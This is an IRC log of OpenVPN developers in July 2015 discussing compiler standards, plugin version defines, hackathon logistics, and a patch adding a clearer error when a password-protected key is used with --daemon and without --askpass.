difference, there is always plenty of food at the company, I will just move my breakfast from home tot the company too :) 15:37 <@syzzer> yeah, especially with bikes that should be fine 15:37 <@cron2> please arrange non-rainy weather :) 15:38 <@syzzer> heh, that is a tough request in October :') 16:01 <@syzzer> whee, --askpass can do what we want for #576 :) 16:15 <@dazo> *grmbl* 16:16 * dazo curses different C standards compiler complaints .... -std=gnu11 is quiet ... -std=c11 is noisy 16:17 <@syzzer> well, it sort-of makes sense, since -gnu11 is wider than c11, right? 16:18 <@dazo> probably ... haven't dug into the details between C11 and GNU's C11 settings 16:18 <@dazo> GCC5 moved to -std=gnu11 by default 16:18 <@syzzer> I actually like that with every compiler update I see more warnings :) 16:18 <@dazo> earlier used -std=gnu89 16:19 <@syzzer> ah, gcc 5 is out? 16:19 <@dazo> yeah ... I'm digging into some Fedora packages which fails on Fedora 22 and newer (Rawhide) 16:20 <@dazo> well, since gnu89 was the default before, I think settling for gnu11 makes sense in the beginning 16:20 <@dazo> then I'll consider if I'm going to C11 :) 16:20 <@dazo> $ gcc --version 16:20 <@dazo> gcc (GCC) 5.1.1 20150422 (Red Hat 5.1.1-1) 16:21 <@dazo> (that's a reasonably updated Fedora 22) 16:23 <@dazo> https://gcc.gnu.org/gcc-5/porting_to.html ... GCC 5 adds some funky changes to inline functions 16:23 <@vpnHelper> Title: Porting to GCC 5 - GNU Project - Free Software Foundation (FSF) (at gcc.gnu.org) 16:24 <@dazo> (or rather GNU C11) 17:47 <@vpnHelper> RSS Update - tickets: #577: Provide a socks5 server port for user apps to use <https://community.openvpn.net/openvpn/ticket/577> 18:41 -!- dazo is now known as dazo_afk 20:12 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 20:13 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 23:07 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel --- Day changed Fri Jul 10 2015 00:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:24 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:35 -!- dazo_afk is now known as dazo 01:53 -!- reators [~holger@2001:1a80:2000:2:5871:ab28:2f35:c061] has quit [Quit: Leaving.] 02:25 -!- reators [~holger@2001:1a80:2000:2:d90e:a2d4:fdba:6024] has joined #openvpn-devel 02:35 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 246 seconds] 02:44 < n13l> dazo: hi, is there anything new related EKM patch ? 02:45 <@dazo> n13l: :( Sorry, I've not had time 02:45 < n13l> dazo: aah pitty 02:46 <@dazo> it is ... I have those patches laying as a constant reminder in my inbox as unread messages ... so I cannot forget them 02:46 <@dazo> unfortunately, your mails are not the only ones either 02:48 < n13l> dazo: i understand :) btw any progress related to gss/kerb auth on top of vpn ? 02:50 <@cron2> whee, syzzer was busy last night 02:51 < n13l> dazo: if there is anything i can do arround EKM then let me know 02:51 <@dazo> n13l: that's also something which has been standing still for far too long :/ 02:52 < n13l> dazo: i will work on such AAA soon hopefully. I would like to prepare more general solution (just on top of any TLS/DTLS) application and i would like to make openvpn plugin too 02:55 <@dazo> I hope to get some time to look at that once all my upstream work I'm tasked to do have moved forward the coming weeks ... and if I'm lucky, I'll have a chance to look at those OpenVPN things before the RHEL 6.8 dev cycle starts quite later this year 02:57 <@dazo> n13l: cool! please have a look at my eurephia project as well (that's one of the things I'm trying to shape up right now, so it will compile with GCC5 ... in addition to a few other projects) 02:57 < n13l> dazo: ok i will put that into note! what's link of that project ? 02:57 <@dazo> http://www.eurephia.net/ 02:57 <@vpnHelper> Title: eurephia :: a flexible OpenVPN authentication module (at www.eurephia.net) 02:58 <@dazo> I believe it should at least cover two of your As :) 03:00 < n13l> dazo: I will look at source details! :) 03:00 <@dazo> :) 03:22 <@dazo> cron2: I begin to see a need to know which "base" version openvpn is in from a plug-in perspective ... like 2.3, 2.4 ... what do you think about putting such a #define into openvpn-plugin.h? 03:23 * dazo ponders on if we can use some templating magic and generate the .h, with info from version.m4 03:25 <@cron2> dazo: you're the master of plugins :-) - so if you see the need, it makes sense 03:25 <@cron2> I wonder, though, if this should be a compile-time or run-time thing. Or both. 03:25 <@dazo> I think both, to be honest 03:26 <@cron2> I have never looked deeply enough into the plugin API to *really* understand the power - and thus, the limitations / version dependencies... 03:27 <@dazo> right now, it is a compile time issue, as syzzer changed ENABLE_SSL -> ENABLE_CRYPTO in the plugin header .... but I do see that having a both a base version (x.y) and a complete version (x.y.z / x.y_git) can be beneficial as well 03:28 <@cron2> we have that somewhere in a .h already (for --version), so we just need to transport it into plugin.h then 03:28 <@dazo> yeah 03:35 <@cron2> be quick with that patch :-) - with #574 and #576, I see us release 2.3.8 "in the fairly near future" 03:37 <@dazo> cron2: I'll have it in a few hours, at latest I hope :) 03:38 <@dazo> just need to see if I can do some clever m4 stuff, to avoid needing to modify version.m4 too much 03:48 <@cron2> why would you modify version.m4? What we have seems to be good enough to power "openvpn --version"...? 03:51 <@dazo> But for the plugins at compile time, having just the base version is often more than enough 03:51 <@dazo> so I'm looking for a way to do a regexp on the PRODUCT_VERSION to just extract the x.y part 03:52 <@dazo> this is the expression doing the job ... (\d*\.\d*)(?=[._]) .... so just want to make m4 do the right thing 03:53 <@dazo> otherwise, we need to split up the version into several groups or make an integer version of the version ... that is OPENVPN_VERSION_MAJOR, OPENVPN_VERSION_MINOR, OPENVPN_VERSION_PATCH .... or OPENVPN_VERSION 020308 03:54 <@plai> Have we fixed the date now or are waiting for a conformation from James? 03:54 <@dazo> plai: 9-11 oct 03:54 <@dazo> plai: as the matter of fact, james was quicker than me this year ;-) 03:55 <@plai> dazo: :) 03:58 <@dazo> hmmmm .... 03:59 * dazo begins to wonder if it is far more clever to split it up 04:02 * cron2 is afraid we'll see a 10-part patch coming up... 04:03 <@dazo> heh ... nope, single and small is the goal 04:05 <@plai> hm the hotel syzzer proposed is also next to IKEA %) 04:13 <@dazo> eeww ... how annoying, my mouse pointer disappeared .... mouse works, but can't really see where it is :/ 04:14 <@plai> Use your system like a real man, with the keyboard! 04:15 <@dazo> hahaha 04:15 <@dazo> well, that usually works well until you hit those modern web-pages 04:15 <@plai> and for highest difficulty level, mac os x with only keboard! 04:15 <@cron2> plai: told that to $Wife, she's looking forward! 04:15 <@cron2> (about IKEA) 04:15 <@plai> cron2: hehe 04:16 <@plai> .oO(does IKEA have breakfast and is it cheaper than in the Hotel?) 04:17 <@cron2> no idea... I don't think I can stomach IKEA without having eaten before :) 04:20 * dazo need to restart X 04:21 <@plai> the good old ctrl-alt-backspace :P 04:21 -!- dazo is now known as dazo_afk 04:24 <@plai> http://www.heise.de/newsticker/meldung/l-f-OprahSSL-macht-uns-alle-zu-CAs-2747619.html 04:24 -!- dazo_afk is now known as dazo 04:24 <@vpnHelper> Title: l+f: #OprahSSL macht uns alle zu CAs | heise online (at www.heise.de) 04:24 <@plai> :) 04:24 <@plai> meme for new OpenSSL bug 04:24 <@plai> (picture is in English) 04:25 <@dazo> plai: heh ... well, I managed to enable "highlight mouse position with CTRL" ... so I could manage to locate the mouse and do a proper logout :) 04:50 <@plai> almost perfect timing on choosing the dates for the hackaton 04:50 <@dazo> almost? 04:51 <@plai> I can book the train ticket for Friday but have to wait to more days to book the train ticket for Sunday 04:51 <@plai> to=two 04:55 <@dazo> heh 04:59 * dazo wonders if there are actually people who likes m4 .... 05:06 <@d12fk> dazo: yes, the sendmail dudes 05:06 <@dazo> well, but they have diagnose, don't they? 05:07 <@d12fk> you say sendmail == cancer? =) 05:07 <@dazo> no, not cancer ... but more in the psychiatric direction 05:07 <@d12fk> for reasons different to m4 though =) 05:08 <@dazo> :) 05:09 * dazo wonders why we have both VERSION and PACKAGE_VERSION declared ... 05:10 <@dazo> (they are identical) 05:11 <@dazo> d12fk: the PRODUCT_VERSION_RESOURCE .... do you use anything more than the two first element? 05:12 <@dazo> I ask as I can build up that string more automated ... but I doubt you want _gittest in the third element 05:12 <@dazo> s/test// 05:18 <@dazo> to be clearer .... I wonder if I should automatically build that string as: PRODUCT_VERSION_MAJ,PRODUCT_VERSION_MIN,0,0 05:36 <@d12fk> a PRODUCT_VERSION_FIX we don't have? How do we release 2.3.5? 05:37 <@d12fk> i think the 4th element is the build number for windows software 05:37 <@d12fk> but of course you do not need to use it 05:43 <@cron2> please do not break windows building :) 05:59 <@dazo> This is where I'm headed towards ... http://fpaste.org/242626/52595514/ 06:00 <@dazo> And I'm exporting PRODUCT_VERSION_{MAJOR,MINOR,PATCH} into openvpn-plugin.h 06:01 <@dazo> and there I spotted PRODUCT_VERSION_RESOURCE ... and thought I could automate that as well, so we just replace the version numbers in a single place 06:01 <@dazo> cron2: I don't intend breaking anything, and in particular not Windows :) 06:03 <@cron2> good :-) 06:03 <@cron2> you'll need separate patches for release/2.3 and master, though :-) - as version.m4 differs enough to be non-cherrypickable 06:04 <@dazo> fair enough ... I'm wondering if I should just propose this for 2.4/master .... as syzzer "broke" is only in master 06:04 <@cron2> ah. So if there is nothing at all in plugin.h, plugins can assume "this is 2.3" 06:05 <@dazo> yeah 06:05 <@cron2> worksforme :) 06:06 <@dazo> :) 06:36 <@mattock1> should we finally remove 2.3.2 from the download page? 06:37 <@mattock1> I'm referring to the email from Bonno to openvpn-users... we/I have not produce new 2.3.2 installers for a long while, and the openssl version included in 2.3.2 is pretty old 06:53 <@plai> mattock1: yes, iirc we kept that version becuase we had no tls-version-min/max 07:52 <@dazo> cron2: got some ideas how to make this look nicer? http://fpaste.org/242647/36532701/ 07:52 <@dazo> Place a macro higher up so the #ifndef isn't inside the struct declaration? 08:04 * dazo aims for that 08:04 <@cron2> yeah... 08:08 <@dazo> patches going to the ML very soon ... think I finally manage to understand the oddities of autotools :/ 08:22 <@dazo> two patches on the way :) 08:26 * cron2 is scared of those who understand autotools 08:29 <@dazo> heh ... well, not sure I understood it correctly, to be honest ... but it was a long and quirky path to understand that AC_DEFINE macros cannot be used for the .in templates, then you need AC_SUBST 08:29 <@dazo> and macros declared by AC_SUBST is not available as #define statements for the C code, then you need AC_DEFINE 08:30 <@dazo> and then you might understand the "duplication" in these two patches for configure.ac 08:31 <@dazo> And there they are :) http://thread.gmane.org/gmane.network.openvpn.devel/9906 08:31 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 08:33 * dazo didn't touch PRODUCT_VERSION_RESOURCE ... as didn't quite understand how that is really used 08:34 <@vpnHelper> RSS Update - tickets: #578: Besser aussehen mit Calriphen <https://community.openvpn.net/openvpn/ticket/578> 08:40 * dazo needs to run ... but hopes for a soonish ACK :) 08:40 <@vpnHelper> RSS Update - tickets: #578: SPAM <https://community.openvpn.net/openvpn/ticket/578> 08:42 -!- dazo is now known as dazo_afk 08:48 <@vpnHelper> RSS Update - gitrepo: Make __func__ work with Visual Studio too <https://github.com/OpenVPN/openvpn/commit/9884e20810bda737c7708ff587e09cc0bb8475c7> || Increase control channel packet size for faster handshakes <https://github.com/OpenVPN/openvpn/commit/fc91d4b0071178e298052078431fb86f03be84fc> || Report missing end-tags of inline files as errors <https://github.com/OpenVPN/openvpn/commit/68eecf76978a80bd5d88e944e4ed5e42bf2fd8e4> | 09:05 <@vpnHelper> RSS Update - gitrepo: Make __func__ work with Visual Studio too <https://github.com/OpenVPN/openvpn/commit/9884e20810bda737c7708ff587e09cc0bb8475c7> || Increase control channel packet size for faster handshakes <https://github.com/OpenVPN/openvpn/commit/fc91d4b0071178e298052078431fb86f03be84fc> || Report missing end-tags of inline files as errors <https://github.com/OpenVPN/openvpn/commit/68eecf76978a80bd5d88e944e4ed5e42bf2fd8e4> | 09:24 <@cron2> what did vpnhelper drink *this* time...? 10:09 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 10:19 -!- reators [~holger@2001:1a80:2000:2:d90e:a2d4:fdba:6024] has quit [Quit: Leaving.] 10:23 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 10:24 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 10:49 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 256 seconds] 10:52 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:52 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 10:53 -!- dazo_afk is now known as dazo 11:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 17:26 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 17:39 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 256 seconds] 17:49 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:49 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 17:49 -!- dazo_afk is now known as dazo 18:09 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Quit: Leaving.] --- Day changed Sat Jul 11 2015 02:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:57 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:40 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 03:40 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 03:41 -!- mode/#openvpn-devel [+o andj] by ChanServ 04:04 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 250 seconds] 04:05 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 04:05 -!- mode/#openvpn-devel [+o andj] by ChanServ 06:04 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 250 seconds] 06:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 07:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:00 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:23 <@vpnHelper> RSS Update - tickets: #579: issue with routing on windows client <https://community.openvpn.net/openvpn/ticket/579> 08:27 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:06 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 14:50 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 244 seconds] 14:51 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:51 -!- mode/#openvpn-devel [+o andj] by ChanServ 15:03 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Quit: There is nothing like the laughter of a baby. Unless it's 1 AM and you're home alone.] 15:33 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 15:39 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 246 seconds] 16:06 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 19:03 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 19:04 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 23:43 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 23:43 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Jul 12 2015 01:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:19 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 15:31 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Quit: #define sizeof(x) ((rand() % 100 == 42) ? sizeof(x)-1 : sizeof(x))] 15:32 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 15:47 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Quit: typeof(string).GetField("Empty").SetValue(null, "Empty");] 15:48 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 18:28 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 252 seconds] 20:30 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 20:33 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Mon Jul 13 2015 01:21 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:21 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:00 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:00 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 02:18 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:18 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 02:18 <@cron2_> so... are we having a meeting tonight? 02:25 <@mattock1> that's the plan 02:26 <@cron2_> do we have topics, besides 2.4 ticket classification (which I don't really feel like, today) 02:26 <@mattock1> what would you feel like doing today? :P 02:27 <@mattock1> I'll check if there's other stuff 02:27 <@cron2_> sleep :) - and do some patch review and merging, there's quite a bit on the list 02:27 <@mattock1> ah :) 02:28 <@mattock1> well, we'd probably have some patches to review? 02:28 <@cron2_> quite a few :) - dazo's stuff, syzzer has 2 or 3... 02:28 <@mattock1> I recall a few patchsets were sent to openvpn-devel 02:28 <@mattock1> that would be more than enough 02:29 <@mattock1> I'll check what we have 02:34 <@cron2_> thanks :) - so let's do that, and maybe close a few #570+x tickets in the process :) 02:34 <@mattock1> here are a few: https://community.openvpn.net/openvpn/wiki/Topics-2015-07-13 02:34 <@vpnHelper> Title: Topics-2015-07-13 – OpenVPN Community (at community.openvpn.net) 02:34 <@mattock1> if you know any other please send links 02:35 <@mattock1> I'll send a notification to openvpn-devel 02:47 <@cron2_> Message-ID: <1435748590-7820-1-git-send-email-steffan.karger@fox-it.com> 02:58 <@mattock1> what is the title of that message? 03:01 <@cron2_> http://article.gmane.org/gmane.network.openvpn.devel/9842 03:01 <@vpnHelper> Title: Gmane -- PATCH Fix overflow check in openvpn decrypt (at article.gmane.org) 03:02 -!- reators [~holger@2001:1a80:2000:2:a02a:6a39:de13:e768] has joined #openvpn-devel 03:05 <@mattock1> added 03:49 <@mattock1> I asked Tim to join if he is able to 04:31 <@dazo> I updated the patch list with patch from JJK which I'm not sure have been reviewed or not ... been a discussion though 04:40 <@syzzer> good, enough to discuss tonight 04:48 <@cron2_> I think jjk withdrew his patch "because broken for cisco tftp" and wanted to send a new one 05:27 <@dazo> cron2_: the patch I added was an older patch from him, related to --client-cert-not-required 05:47 <@cron2_> ah 05:54 <@plai> I do not see the use case for the tftp dhcp option 05:55 <@plai> I always thought the dhcp configuration is only for the windows network adapter 06:02 <@dazo> iirc, dhcp options are passed on to the --up script on non-Windows as well 06:03 <@mattock1> yeah, I parse those using a script on my Linux clients 06:03 <@mattock1> and I believe network-manager-openvpn and such also make use of export DHCP options 06:18 <@cron2_> plai: well, there seems to be at least one weird client app that is more happy if it can have it... (user request on openvpn-users) 06:19 <@cron2_> I said "I don't think we want to maintain lots of extra code for this" and jjk challenged with "it's only a handful of lines" - and fairly well-contained at that... - and right he is :) - so I could live with the change 06:19 <@plai> cron2_: yeah. But since the patch does not any extra logic to OpenVPN I just do not care about feature creep here :) 06:20 <@cron2_> I don't care very much either, but I'm not opposing, and jjk seems to care :) 06:20 <@dazo> +1 07:23 <@dazo> syzzer: just saw the mbedTLS 2.0.0 release ... should we at some point add some info or do some adjustments in openvpn to use the new name instead of polarssl? 09:31 <@syzzer> dazo: yes. I already started on some patches to at least make the linking future-proof, but never finished them. 09:32 <@mattock1> Tim (the PAM patch author) will try to join the meeting at 19:00 UTC 09:33 <@mattock1> he found a issue in his original patchset and will provide a fixed version 09:35 <@syzzer> btw: "We advise all users that still use the 1.2 branch to migrate away from that branch before security support ends at the end of this year." 09:36 <@syzzer> we might want to upgrade 2.3.x to mbed-TLS 1.3 after all 09:36 <@syzzer> at the time we decided not to, we expected 2.4 'soonish', but that ended up being no-so-soon... 09:39 <@dazo> mattock1: 19:00UTC ... that's 21:00CEST, right? 09:40 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 09:40 <@dazo> hmmm 09:42 <@dazo> syzzer: polarssl-1.3.9 is the most recent version in Fedora EPEL for RHEL7 09:42 <@dazo> (The EPEL repo doesn't have such strict regime for version upgrades as RHEL repos have, though) 09:43 <@dazo> hmm ... mbedtls packages are available too, with 1.3.11 as the latest EPEL release 09:47 <@syzzer> supporting both 1.2 and 1.3 in a single branch needs quite some #ifdefs, iirc. I have to think a bit more about what really makes sense here. 09:59 <@cron2_> dazo: 20:00 cest 09:59 <@dazo> that's what I thought ... just saw mattock1's 19:00 UTC note ... 10:20 <@cron2_> mattock is totally time-zone-confused, I think... 10:28 <@cron2_> syzzer: shall I create a wiki page DelftHackathon2015? 10:35 <@cron2_> done 10:35 <@cron2_> https://community.openvpn.net/openvpn/wiki/DelftHackathon2015 10:35 <@vpnHelper> Title: DelftHackathon2015 – OpenVPN Community (at community.openvpn.net) 10:35 <@cron2_> this now needs content :) 10:37 -!- Netsplit *.net <-> *.split quits: n13l 12:42 <@mattock1> I'm not timezone confused (I hope)... Tim just can't make it at the beginning 12:42 <@mattock1> beginning is, according to my calculation, in 18 minutes 12:43 <@cron2_> +1 12:43 <@cron2_> ah, that explains :-) 12:44 <@mattock1> I may be a few minutes late, so feel free to start the patch review without me 12:44 <@mattock1> I'm just starting to eat my dinner 12:57 <@syzzer> enjoy :) 13:03 * cron2_ is reviewing [PATCH] fix regression: query password befor becoming daemon 13:03 <@cron2_> and it looks good :) 13:03 <@cron2_> (but I said so for the last few --daemon related patches) 13:03 <@syzzer> well, step-by-step :) 13:05 <@cron2_> can you explain pem_password_callback() to me? 13:05 <@cron2_> /* prompt for password even if --askpass wasn't specified */ 13:05 <@cron2_> so how does it know whether or not --askpass has been called here? 13:05 <@cron2_> oh 13:05 * cron2_ withdraws the question 13:06 <@cron2_> "if strlen() is not 0, then do not ask again" 13:06 <@syzzer> updated https://community.openvpn.net/openvpn/wiki/DelftHackathon2015 a bit 13:06 <@vpnHelper> Title: DelftHackathon2015 – OpenVPN Community (at community.openvpn.net) 13:06 <@cron2_> so where exactly does it explode if there is no stdin anymore? inside pem_password_callback()->pem_password_setup()->get_user_pass(), I'd assume? 13:07 * syzzer opens editor 13:09 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 13:09 -!- mode/#openvpn-devel [+v janjust] by ChanServ 13:09 <@syzzer> in get_console_input(), called from get_user_pass_cr() 13:10 <@mattock1> ok, here 13:10 <@cron2_> wading through get_user_pass_cr() right now :) 13:10 <@syzzer> (through pem_password_callback() indeed) 13:11 <@cron2_> most likely in "getpass()" then... 13:12 <@cron2_> this is... ugly 13:12 <@syzzer> yes... 13:13 <+janjust> hi all; wading through ugly code? nice :) what are we looking for? 13:13 <@cron2_> which place to add a useful error message to if we try to ask for a password *after* --daemon has been called and no console exists anymore 13:14 <+janjust> if I glance through the code there's the ENABLE_CLIENT_CR track and the regular track. is the CR stuff used at all? 13:15 <@cron2_> no idea 13:15 <+janjust> get_console_input() seems like a logical place ... 13:16 <@cron2_> well, get_console_input() has *no* idea what is being asked of it, so the error message is not so helpful 13:16 <@cron2_> I'm thinking of get_user_pass_cr(), but I totally fail to see which branch is called for pem_password_callback() 13:16 <@syzzer> we can add something to the 'ERROR: could not not read %s password from stdin' mag in get_user_pass_cr() 13:17 <@syzzer> (also not the double negation...) 13:17 <@cron2_> lol 13:18 <@cron2_> ah, *there* is the branch... 13:18 <@cron2_> if (management 13:18 <@cron2_> && ((auth_file && streq (auth_file, "management")) || (from_stdin && ( 13:18 <@cron2_> flags & GET_USER_PASS_MANAGEMENT))) 13:18 <@cron2_> this is actually hit, because of GET_USER_PASS_MANAGEMENT 13:18 <@cron2_> and from_stdin 13:19 <@cron2_> so I think it might actually hit management_query_user_pass() 13:19 <@cron2_> (because the later invocations of get_console_input() all do not have the correct prompt) 13:20 <@syzzer> oh, wow... 13:21 <@cron2_> but that does not make sense 13:21 <@cron2_> (because that one really only does management) 13:22 <@cron2_> nah 13:22 <@cron2_> misreading the large if() block 13:23 <@cron2_> ah 13:23 <@cron2_> sheesh 13:23 <@cron2_> buf_printf (&pass_prompt, "Enter %s Password:", prefix); 13:23 <@cron2_> and "prefix" is 13:23 <@cron2_> #define UP_TYPE_PRIVATE_KEY "Private Key" 13:24 <@syzzer> :') 13:24 <@cron2_> so that will do the "Enter Private Key Password:" prompt 13:24 <@cron2_> and then it will not ask for the "Enter %s Username" prompt, because of 13:24 <@cron2_> if (!(flags & GET_USER_PASS_PASSWORD_ONLY)) 13:24 <@syzzer> looking at the code we can also get rid of the ENABLE_CLIENT_CR ifdef 13:24 <@cron2_> so, *now* I'm wondering why we're not getting a useful error message out of this... 13:25 <@cron2_> it has a nice msg (M_FATAL, "ERROR: could not not read %s password from stdin", prefix) there 13:25 <@syzzer> ah, yes, that is the one I was referring to 13:26 <@cron2_> oh 13:26 <@syzzer> (but I did not do the thorough code search you just did) 13:26 * cron2_ suspects that getpass() will return not NULL but an empty string instead, so formally, get_console_input succeeds there 13:27 <+janjust> the manpage for getpass() says NULL on error 13:27 <@cron2_> what is the normal sequence if you press ctrl-d on a password protected key... *test* 13:28 <@syzzer> "On error, the terminal state is restored, errno is set appropriately, and NULL is returned." 13:28 <@syzzer> ah, what janjust said 13:28 <@cron2_> well, in that case, I'm open for alternative theories why we're not seeing a useful error message here :) 13:29 <+janjust> does this happen in all branches? or just 2.3? 13:29 <@cron2_> 2.3.7 and up, and git master - if using a password-protected key *and* --daemon and *not* --askpass 13:30 <@cron2_> (we daemonize before asking for the password, which fails - and we do not seem to throw a useful error message, just "Fatal error occured, exit." - or so the user claimed, couldn't reproduce yet 13:30 <@cron2_> let me try 13:30 -!- TimSmall [~tim@ipv6test5.plus.com] has joined #openvpn-devel 13:30 <@mattock1> hi Tim! 13:31 <@cron2_> *sigh* 13:31 <@mattock1> we're covering http://thread.gmane.org/gmane.network.openvpn.devel/9901 13:31 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:32 <@cron2_> well 13:32 <@cron2_> seems my getpass() will just return an empty string here... 13:32 <@cron2_> I get 13:32 <@cron2_> Jul 13 20:32:02 blue openvpn[27926]: SIGUSR1[soft,private-key-password-failure] received, process restarting 13:33 <@cron2_> Jul 13 20:32:37 blue last message repeated 7 times 13:33 <@cron2_> ... and it just loops, as if you press ctrl-d at the "password:" prompt 13:34 <@cron2_> let me test something... 13:34 <@syzzer> I get a "Error: private key password verification failed" msg, but not the hint about stdin 13:35 <@cron2_> that might be a --verb thing 13:35 <@cron2_> mmmh 13:35 <@cron2_> funny. How is your setup? 13:36 <@cron2_> I have a password protected private key, and call "openvpn --config $conf --daemon" 13:36 <@cron2_> and it loops around the SIGUSR1 message 13:36 <@syzzer> no, the stdin hint is M_FATAL 13:37 <@syzzer> I have the same setup as you, using --log to write output to a log file 13:37 <@syzzer> the message is in the log file 13:38 <@cron2_> where is *that* error string coming from? 13:39 <@cron2_> ah, init.c 13:39 <@cron2_> weird 13:40 <@syzzer> that's because the pem_password callback fails, so ssl init fails 13:40 <@syzzer> but in between we don't detect the error 13:41 <@cron2_> so get_console_input() claims "success!"... one might turn the #if 0 to an #if 1 to look 13:42 <@cron2_> later in get_user_pass_cr() 13:45 <@syzzer> hmm, getpass() indeed returns an empty string 13:46 <@cron2_> but for some weird reason this leads to SIGUSR1 here, and ssl init fail for you... 13:46 <@cron2_> (if I just press ctrl-d on the same setup *without* --daemon, this is the thing I get then as well - "empty string") 13:47 <@cron2_> Jul 13 20:47:15 blue openvpn[3081]: neither stdin nor stderr are a tty device, can't ask for Private Key password. You might need to use --askpass together with --daemon. 13:47 <@cron2_> Jul 13 20:47:15 blue openvpn[3081]: Exiting due to fatal error 13:47 <@cron2_> hah 13:48 <@cron2_> (why am I getting SIGUSR1 as well if I enter a *wrong* password?) 13:49 <@cron2_> http://fpaste.org/243926/81332614/ - this "works for me", aka "useful error message if used with --daemon, and no interference otherwise" 13:49 <@cron2_> syzzer: are you using a key in a file, or inline? (does this make a difference?) 13:50 <@syzzer> key file 13:50 <@syzzer> did not test inline 13:50 <@syzzer> but should not make a difference 13:51 <@cron2_> tested, does not make a difference. With master, I do not get the "verification failed" message 13:52 <@cron2_> and neither with release/2.3... wtf... (openssl 1.0.1o) 13:52 <@syzzer> you sugested patch make sense though 13:53 <@cron2_> good :) - any comments about the actual message? 13:54 <@syzzer> uhm, perhaps make the "if daemon then use --askpass" relation more clear 13:55 <@syzzer> not sure if we can trigger this if() in other cases though 13:55 <@cron2_> "If you used --daemon and have a passphrase-protected key, you need to use --askpass."? 13:55 <@syzzer> perfect 13:56 <@cron2_> well, if we're reading "if (from_stdin)" and have nothing for getpass() to work on, we'll fail anyway, or misbehave in interesting ways :) 13:56 <@mattock1> do I sense some sort of conclusion to this topic? 13:56 <@syzzer> oh, did you also check how --auth-user-pass reacts here? 13:57 <@syzzer> nv, that doesn't need --askpass 13:57 <@syzzer> so yes, I think so mattock1 13:57 <@cron2_> maybe "need to use --askpass and cannot use --auth-nocache"? 